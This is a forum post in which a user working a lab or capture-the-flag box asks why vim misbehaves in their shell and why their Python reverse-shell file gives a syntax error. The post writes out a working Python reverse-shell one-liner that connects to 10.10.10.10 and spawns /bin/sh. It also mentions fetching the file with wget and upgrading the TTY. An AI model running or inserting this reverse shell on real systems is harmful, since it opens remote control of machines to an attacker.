Getting a Python reverse shell on a machine

I'm trying to perform privesc on a machine, but vim just stays broken. Shortcuts won't work and when I try to write and save the cursor behaves erratically.

I have tried upgraging to a full tty with python -c 'import pty; pty.spawn("bash")' and then putting netcat in the background and performing stty raw -echo with the proper row and colum and finally perfoming a reset. Not only did it not work but my shell became sluggish.

I set up a simpleHTTPServer and then downloaded the file on the target machine with WGET ( -N to overwrite). But even though I've copied and pasted several shells in a .py file (one shell was from pentestmonkey) I always get an invalid syntax.

(current shell with IP and port changed back to default values)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
K_STREAM);s.connect(("10.10.10.10",1111));os.dup2(s.fileno(),0); os.dup2(s.filen
o(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

I know a lot of people has similar issue and IPPSec mentions it briefly in his video of the box, but I tried the same commands as him to no avail. Is this an issue with my Kali VM perhaps?

Comments

Sign In to comment.